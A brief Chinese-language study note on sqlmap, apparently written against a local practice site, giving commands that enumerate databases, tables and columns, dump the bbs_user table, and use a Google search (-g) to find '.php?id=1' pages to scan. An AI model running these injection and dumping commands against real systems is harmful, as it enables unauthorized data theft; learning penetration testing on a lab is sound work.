sqlmap学习

• 查询数据库：
  python sqlmap.py -u "http://local.premeate.songboy.net/home/index.php?m=tiezi&a=index&bk=5" --dbs
  

  

  image.png

• 查询某个数据库里的所有表：
  python sqlmap.py -u "http://local.premeate.songboy.net/home/index.php?m=tiezi&a=index&bk=5" -D permeate --tables
  

  

  image.png

• 查看具体某个表中的条目：
  python sqlmap.py -u "http://local.premeate.songboy.net/home/index.php?m=tiezi&a=index&bk=5" -D permeate -D permeate -T bbs_user --columns
  

  

  image.png

• 查看表中存储的具体内容：
  python sqlmap.py -u "http://local.premeate.songboy.net/home/index.php?m=tiezi&a=index&bk=5" -D permeate -D permeate -T bbs_user --dump
  

  

  image.png

• 自动在谷歌中查询相关页面所有漏洞
  sqlmap.py -g "inurl:".php?id=1""